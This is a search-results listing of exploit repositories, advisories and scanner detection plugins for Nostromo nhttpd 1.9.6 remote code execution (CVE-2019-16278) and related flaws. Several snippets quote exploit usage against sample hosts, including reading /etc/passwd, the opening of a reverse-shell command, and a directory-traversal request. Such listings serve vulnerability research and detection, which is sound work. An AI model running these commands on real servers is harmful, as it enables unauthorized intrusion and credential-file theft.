76 matches found
CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution
POC Repository: https://github.com/CybermonkX/CVE-2019-16278Nostromo-1.9.6---Remote-Code-Execution.git š Description This repository contains a Python exploit for CVE-2019-16278 , a vulnerability in Nostromo 1.9.6 a web server. The vulnerability allows for Remote Code Execution RCE by exploiting...
CVE-2019-16278
CVE-2019-16278 Remote Command Execution Exploit Script for Nostromo Web Server Introduction A remote command execution vulnerability caused by directory traversal. Similar to CVE-2011-0751, the filtering is not strict, allowing bypass using %0d. Affected Versions nostromo = 1.9.6...
cve-2019-16278
cve-2019-16278 Nhttpd Nostromo 1.9.6 RCE due to Directory Traversal git clone https://github.com/Kr0ff/cve-2019-16278...
CVE-2019-16278
CVE-2019-16278 A simple and quick python script to exploit CVE-2019-16278 Nostromo 1.9.6 from a Directory Traversal vulnerability in the function httpverify in Nostromo nhttpd that leads to unauthenticated RCE via a crafted HTTP request. Only takes in host and port of web server as required...
CVE-2019-16278
CVE-2019-16278 CVE-2019-16278Nostromo httpd Command Execution ā Downloads python nostromo.py 114.114.114.114 8080 pwd /bin ā Downloads python nostromo.py 114.114.114.114 8080 id uid=65534 gid=65534 ā Downloads python nostromo.py 114.114.114.114 8080 "ls -al" drwxr-xr-x 2 0 0 0 Apr 12 2013...
CVE-2019-16278-Nostromo_1.9.6-RCE
CVE-2019-16278 - Nostromo 1.9.6 RCE Python script to exploit RCE in Nostromo nhttpd = 1.9.6. Help usage: CVE-2019-16278.py -h -t TARGET -p PORT -c COMMAND -b BYTES Exploit for CVE-2019-16278 - Nostromo 1.9.6 RCE optional arguments: -h, --help show this help message and exit -t TARGET, --target...
CVE-2019-16278
Exploits for CVE-2019-16278 and CVE-2019-16279 Nostromo httpd is prone to 2 cricital vulnerabilities for versions &1 This bug is due to an incomplete fix for CVE-2011-0751. We can bypass a check for /../ which allows us to execute /bin/sh with arbitrary arguments. Example $ ./CVE-2019-16278.sh...
CVE-2019-16278-Nostromo-1.9.6-RCE
CVE-2019-16278-Nostromo-1.9.6-RCE This is a exploit of CVE-2019-16278 for Nostromo 1.9.6 RCE. This exploit allows RCE on the victim machine. Requirements optparse socat sys Usage You can use the exploit as follows: python3 CVE-2019-16278.py --ip=10.129.192.225 --port=80 --command="bash -c 'bash -...
Nostromo_Python3
Nostrom RCE Python3 Exploit Code: Usage: $ python3 ./exp.py vulnerable.host 8080 id uid=65534 gid=65534...
CVE-2019-16278
CVE-2019-16278 - Nostromo nhttpd RCE Vulnerability Description Remote Code Execution vulnerability in Nostromo nhttpd versions 2&1 Usage python3 cve-2019-16278.py Example: python3 cve-2019-16278.py 192.168.1.100 80 "id" python3 cve-2019-16278.py 10.10.10.10 8080 "cat /etc/passwd" python3...
CVE-2019-16278
CVE-2019-16278 š» -h3x0v3rl0rd- nostromo 1.9.6 - Remote Code Execution...
CVE-2019-16278-Nostromo-1.9.6-RCE
CVE-2019-16278-Nostromo-1.9.6-RCE This repository contains an exploit for CVE-2019-16278 in Nostromo Web Server 1.9.6, allowing remote code execution via a directory traversal vulnerability. The script uses pwntools to establish a reverse shell. For educational and authorized testing use only...
nostromo nhttpd - Directory Traversal Detection (CVE-2011-0751)
Detects CVE-2011-0751 by requesting /..%2f..%2f..%2f..%2f..%2fetc/passwd and matching root:x:0:0. !/usr/bin/env python3 -- coding: utf-8 -- """Detects CVE-2011-0751 by requesting /.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner,...
CVE-2019-16279
A memory error in the function SSLaccept in nostromo nhttpd through 1.9.6 allows an attacker to trigger a denial of service via a crafted HTTP request...
CVE-2019-16278
Directory Traversal in the function httpverify in nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via a crafted HTTP request...
Exploit for Path Traversal in Nazgul Nostromo_Nhttpd
CVE-2019-16278 - Nostromo nhttpd RCE Vulnerability Descrip...
EUVD-2011-0763
Malware in sbrugna...
Nazgul Nostromo nhttpd < 2.1 Path Traversal Vulnerability
Nazgul Nostromo nhttpd is prone to a path traversal vulnerability. SPDX-FileCopyrightText: 2025 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE =...
CVE-2022-48253
nhttpd in Nostromo before 2.1 is vulnerable to a path traversal that may allow an attacker to execute arbitrary commands on the remote server. The vulnerability occurs when the homedirs option is used...
Nazgul Nostromo nhttpd Detection (HTTP)
HTTP based detection of Nazgul Nostromo nhttpd. SPDX-FileCopyrightText: 2025 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...